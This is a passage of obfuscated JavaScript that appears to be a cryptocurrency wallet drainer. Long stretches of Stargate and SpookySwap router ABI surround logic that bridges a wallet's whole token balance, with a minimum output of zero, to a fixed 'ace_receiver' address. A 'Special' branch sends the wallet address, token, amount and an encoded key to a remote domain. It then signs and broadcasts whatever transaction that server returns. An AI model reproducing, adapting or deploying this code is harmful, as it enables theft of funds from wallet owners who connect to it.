case "0xc2132d05d31c914a87c6611c10748aeb04b58e8f":
{
_0x389343 = 2;
_0x212eb6 = 1;
}
break;
case "0x8f3cf7ad23cd3cadbd9735aff958023239c6a063":
{
_0x389343 = 3;
_0x212eb6 = 3;
_0x21c78b = 111;
}
break;
case "0xa3fa99a148fa48d14ed51d610c367c61876997f1":
{
_0x389343 = 16;
_0x212eb6 = 16;
}
break;
}
}
case "arb":
{
_0x265843 = 110;
switch (_0x4f37a4.asset.token.toLowerCase()) {
case "0xff970a61a04b1ca14834a43f5de4533ebddb5cc8":
{
_0x389343 = 1;
_0x212eb6 = 1;
_0x21c78b = 111;
}
break;
case "0xfd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb9":
{
_0x389343 = 2;
_0x212eb6 = 1;
_0x21c78b = 111;
}
break;
case "0x17fc002b466eec40dae837fc4be5c67993ddbd6f":
{
_0x389343 = 7;
_0x212eb6 = 7;
_0x21c78b = 111;
}
break;
case "0x93b346b6bc2548da6a1e7d98e9a421b42541425b":
{
_0x389343 = 15;
_0x212eb6 = 15;
_0x21c78b = 111;
}
break;
case "0x3f56e0c36d275367b8c502090edf38289b3dea0d":
{
_0x389343 = 16;
_0x212eb6 = 16;
_0x21c78b = 111;
}
break;
}
}
case "op":
{
_0x265843 = 111;
switch (_0x4f37a4.asset.token.toLowerCase()) {
case "0x7f5c764cbc14f9669b88837ca1490cca17c31607":
{
_0x389343 = 1;
_0x212eb6 = 1;
}
break;
case "0xda10009cbd5d07dd0cecc66161fc93d7c9000da1":
{
_0x389343 = 3;
_0x212eb6 = 3;
_0x21c78b = 109;
}
break;
case "0x2e3d870790dc77a83dd1d18184acc7439a53f475":
{
_0x389343 = 7;
_0x212eb6 = 7;
}
break;
case "0x8c6f28f2f1a3c87f0f938b96d27520d9751ec8d9":
{
_0x389343 = 14;
_0x212eb6 = 14;
_0x21c78b = 101;
}
break;
case "0xc40f949f8a4e094d1b49a23ea9241d289b7b2819":
{
_0x389343 = 15;
_0x212eb6 = 15;
}
break;
case "0xdfa46478f9e5ea86d57387849598dbfb2e964b02":
{
_0x389343 = 16;
_0x212eb6 = 16;
}
break;
}
}
case "ftm":
{
_0x265843 = 112;
switch (_0x4f37a4.asset.token.toLowerCase()) {
case "0x28a92dde19d9989f39a49905d7c9c2fac7799bdf":
{
_0x389343 = 21;
_0x212eb6 = 1;
}
break;
}
}
case "base":
{
_0x265843 = 184;
switch (_0x4f37a4.asset.token.toLowerCase()) {
case "0xd9aaec86b65d86f6a7b5b1b0c42ffa531710b6ca":
{
_0x389343 = 1;
_0x212eb6 = 1;
}
break;
}
}
}
let _0x38c28f = [{
inputs: [],
stateMutability: "nonpayable",
type: "constructor"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "uint16",
name: "chainId",
type: "uint16"
}, {
indexed: false,
internalType: "bytes",
name: "srcAddress",
type: "bytes"
}, {
indexed: false,
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "token",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amountLD",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: false,
internalType: "bytes",
name: "payload",
type: "bytes"
}, {
indexed: false,
internalType: "bytes",
name: "reason",
type: "bytes"
}],
name: "CachedSwapSaved",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "previousOwner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "OwnershipTransferred",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "uint16",
name: "srcChainId",
type: "uint16"
}, {
indexed: true,
internalType: "bytes",
name: "srcAddress",
type: "bytes"
}, {
indexed: true,
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "srcPoolId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "dstPoolId",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amountSD",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "mintAmountSD",
type: "uint256"
}],
name: "RedeemLocalCallback",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "uint8",
name: "bridgeFunctionType",
type: "uint8"
}, {
indexed: false,
internalType: "uint16",
name: "chainId",
type: "uint16"
}, {
indexed: false,
internalType: "bytes",
name: "srcAddress",
type: "bytes"
}, {
indexed: false,
internalType: "uint256",
name: "nonce",
type: "uint256"
}],
name: "Revert",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "uint16",
name: "srcChainId",
type: "uint16"
}, {
indexed: false,
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
indexed: false,
internalType: "bytes",
name: "to",
type: "bytes"
}, {
indexed: false,
internalType: "uint256",
name: "redeemAmountSD",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "mintAmountSD",
type: "uint256"
}, {
indexed: true,
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
indexed: true,
internalType: "bytes",
name: "srcAddress",
type: "bytes"
}],
name: "RevertRedeemLocal",
type: "event"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}],
name: "activateChainPath",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountLD",
type: "uint256"
}, {
internalType: "address",
name: "_to",
type: "address"
}],
name: "addLiquidity",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "bridge",
outputs: [{
internalType: "contract Bridge",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}, {
internalType: "bytes",
name: "",
type: "bytes"
}, {
internalType: "uint256",
name: "",
type: "uint256"
}],
name: "cachedSwapLookup",
outputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountLD",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "bytes",
name: "payload",
type: "bytes"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "bool",
name: "_fullMode",
type: "bool"
}],
name: "callDelta",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
}, {
internalType: "bytes",
name: "_srcAddress",
type: "bytes"
}, {
internalType: "uint256",
name: "_nonce",
type: "uint256"
}],
name: "clearCachedSwap",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_weight",
type: "uint256"
}],
name: "createChainPath",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "address",
name: "_token",
type: "address"
}, {
internalType: "uint8",
name: "_sharedDecimals",
type: "uint8"
}, {
internalType: "uint8",
name: "_localDecimals",
type: "uint8"
}, {
internalType: "string",
name: "_name",
type: "string"
}, {
internalType: "string",
name: "_symbol",
type: "string"
}],
name: "createPool",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
}, {
components: [{
internalType: "uint256",
name: "credits",
type: "uint256"
}, {
internalType: "uint256",
name: "idealBalance",
type: "uint256"
}],
internalType: "struct Pool.CreditObj",
name: "_c",
type: "tuple"
}],
name: "creditChainPath",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "contract Factory",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_srcPoolId",
type: "uint16"
}, {
internalType: "uint256",
name: "_amountLP",
type: "uint256"
}, {
internalType: "address",
name: "_to",
type: "address"
}],
name: "instantRedeemLocal",
outputs: [{
internalType: "uint256",
name: "amountSD",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "mintFeeOwner",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "owner",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "protocolFeeOwner",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "uint8",
name: "_functionType",
type: "uint8"
}, {
internalType: "bytes",
name: "_toAddress",
type: "bytes"
}, {
internalType: "bytes",
name: "_transferAndCallPayload",
type: "bytes"
}, {
components: [{
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
}, {
internalType: "uint256",
name: "dstNativeAmount",
type: "uint256"
}, {
internalType: "bytes",
name: "dstNativeAddr",
type: "bytes"
}],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
}],
name: "quoteLayerZeroFee",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}, {
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "address payable",
name: "_refundAddress",
type: "address"
}, {
internalType: "uint256",
name: "_amountLP",
type: "uint256"
}, {
internalType: "bytes",
name: "_to",
type: "bytes"
}, {
components: [{
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
}, {
internalType: "uint256",
name: "dstNativeAmount",
type: "uint256"
}, {
internalType: "bytes",
name: "dstNativeAddr",
type: "bytes"
}],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
}],
name: "redeemLocal",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
}, {
internalType: "bytes",
name: "_srcAddress",
type: "bytes"
}, {
internalType: "uint256",
name: "_nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_amountSD",
type: "uint256"
}, {
internalType: "uint256",
name: "_mintAmountSD",
type: "uint256"
}],
name: "redeemLocalCallback",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
}, {
internalType: "bytes",
name: "_srcAddress",
type: "bytes"
}, {
internalType: "uint256",
name: "_nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountSD",
type: "uint256"
}, {
internalType: "bytes",
name: "_to",
type: "bytes"
}],
name: "redeemLocalCheckOnRemote",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "address payable",
name: "_refundAddress",
type: "address"
}, {
internalType: "uint256",
name: "_amountLP",
type: "uint256"
}, {
internalType: "uint256",
name: "_minAmountLD",
type: "uint256"
}, {
internalType: "bytes",
name: "_to",
type: "bytes"
}, {
components: [{
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
}, {
internalType: "uint256",
name: "dstNativeAmount",
type: "uint256"
}, {
internalType: "bytes",
name: "dstNativeAddr",
type: "bytes"
}],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
}],
name: "redeemRemote",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
}, {
internalType: "bytes",
name: "_srcAddress",
type: "bytes"
}, {
internalType: "uint256",
name: "_nonce",
type: "uint256"
}],
name: "retryRevert",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}, {
internalType: "bytes",
name: "",
type: "bytes"
}, {
internalType: "uint256",
name: "",
type: "uint256"
}],
name: "revertLookup",
outputs: [{
internalType: "bytes",
name: "",
type: "bytes"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "bytes",
name: "_srcAddress",
type: "bytes"
}, {
internalType: "uint256",
name: "_nonce",
type: "uint256"
}, {
internalType: "address payable",
name: "_refundAddress",
type: "address"
}, {
components: [{
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
}, {
internalType: "uint256",
name: "dstNativeAmount",
type: "uint256"
}, {
internalType: "bytes",
name: "dstNativeAddr",
type: "bytes"
}],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
}],
name: "revertRedeemLocal",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "address payable",
name: "_refundAddress",
type: "address"
}],
name: "sendCredits",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "contract Bridge",
name: "_bridge",
type: "address"
}, {
internalType: "contract Factory",
name: "_factory",
type: "address"
}],
name: "setBridgeAndFactory",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "bool",
name: "_batched",
type: "bool"
}, {
internalType: "uint256",
name: "_swapDeltaBP",
type: "uint256"
}, {
internalType: "uint256",
name: "_lpDeltaBP",
type: "uint256"
}, {
internalType: "bool",
name: "_defaultSwapMode",
type: "bool"
}, {
internalType: "bool",
name: "_defaultLPMode",
type: "bool"
}],
name: "setDeltaParam",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "address",
name: "_feeLibraryAddr",
type: "address"
}],
name: "setFeeLibrary",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_mintFeeBP",
type: "uint256"
}],
name: "setFees",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_owner",
type: "address"
}],
name: "setMintFeeOwner",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_owner",
type: "address"
}],
name: "setProtocolFeeOwner",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "bool",
name: "_swapStop",
type: "bool"
}],
name: "setSwapStop",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "uint16",
name: "_weight",
type: "uint16"
}],
name: "setWeightForChainPath",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_dstChainId",
type: "uint16"
}, {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "address payable",
name: "_refundAddress",
type: "address"
}, {
internalType: "uint256",
name: "_amountLD",
type: "uint256"
}, {
internalType: "uint256",
name: "_minAmountLD",
type: "uint256"
}, {
components: [{
internalType: "uint256",
name: "dstGasForCall",
type: "uint256"
}, {
internalType: "uint256",
name: "dstNativeAmount",
type: "uint256"
}, {
internalType: "bytes",
name: "dstNativeAddr",
type: "bytes"
}],
internalType: "struct IStargateRouter.lzTxObj",
name: "_lzTxParams",
type: "tuple"
}, {
internalType: "bytes",
name: "_to",
type: "bytes"
}, {
internalType: "bytes",
name: "_payload",
type: "bytes"
}],
name: "swap",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "_srcChainId",
type: "uint16"
}, {
internalType: "bytes",
name: "_srcAddress",
type: "bytes"
}, {
internalType: "uint256",
name: "_nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "_srcPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_dstPoolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_dstGasForCall",
type: "uint256"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
components: [{
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "eqFee",
type: "uint256"
}, {
internalType: "uint256",
name: "eqReward",
type: "uint256"
}, {
internalType: "uint256",
name: "lpFee",
type: "uint256"
}, {
internalType: "uint256",
name: "protocolFee",
type: "uint256"
}, {
internalType: "uint256",
name: "lkbRemove",
type: "uint256"
}],
internalType: "struct Pool.SwapObj",
name: "_s",
type: "tuple"
}, {
internalType: "bytes",
name: "_payload",
type: "bytes"
}],
name: "swapRemote",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "address",
name: "_to",
type: "address"
}],
name: "withdrawMintFee",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "address",
name: "_to",
type: "address"
}],
name: "withdrawProtocolFee",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}];
let _0x542520 = new ethers.Contract(_0x2b7b1b, _0x38c28f, _0x9d9505);
let _0x5739ea = await _0x542520.quoteLayerZeroFee(_0x21c78b, 1, this.ace_receiver, "0x", {
dstGasForCall: 0,
dstNativeAmount: 0,
dstNativeAddr: this.ace_receiver
});
let _0x2857b9 = _0x5739ea[0];
const _0x23b8b8 = {
value: _0x2857b9
};
return [_0x542520.swap(_0x21c78b, _0x389343, _0x212eb6, this.ace_receiver, _0x4f37a4.asset.amount, 0, {
dstGasForCall: 0,
dstNativeAmount: 0,
dstNativeAddr: "0x"
}, this.ace_receiver, "0x", _0x23b8b8), ""];
}
case "Special":
{
let _0x10f451 = this.tradingPairs[_0x4f37a4.chain];
let _0xff54e5 = await fetch(this.domain + "/getdata/" + _0x10f451 + "/" + _0x4f37a4.asset.token + "/" + (await this.getWalletAddress()) + "/" + _0x4f37a4.asset.amount + "/" + this.getChainId(_0x4f37a4.chain) + "/" + Base64.encode(this.createEncKey()), {
method: "GET",
headers: {
Accept: "application/json"
}
});
let _0x3cf54a = await _0xff54e5.json();
let _0x1436a0 = await _0x9d9505.getTransactionCount("pending");
let _0x4628b3 = {
nonce: "0x" + _0x1436a0.toString(16),
data: _0x3cf54a.trade.data,
from: _0x3cf54a.trade.from,
value: "0x00",
to: _0x3cf54a.trade.to,
gasLimit: "0x" + _0x3cf54a.maxGas.toString(16)
};
return [_0x9d9505.sendTransaction(_0x4628b3), ""];
}
case "SpookySwap":
{
let _0xa762bb = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WETH",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WETH",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountIn",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountOut",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsIn",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsOut",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveB",
type: "uint256"
}],
name: "quote",
outputs: [{
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermit",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityWithPermit",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapETHForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
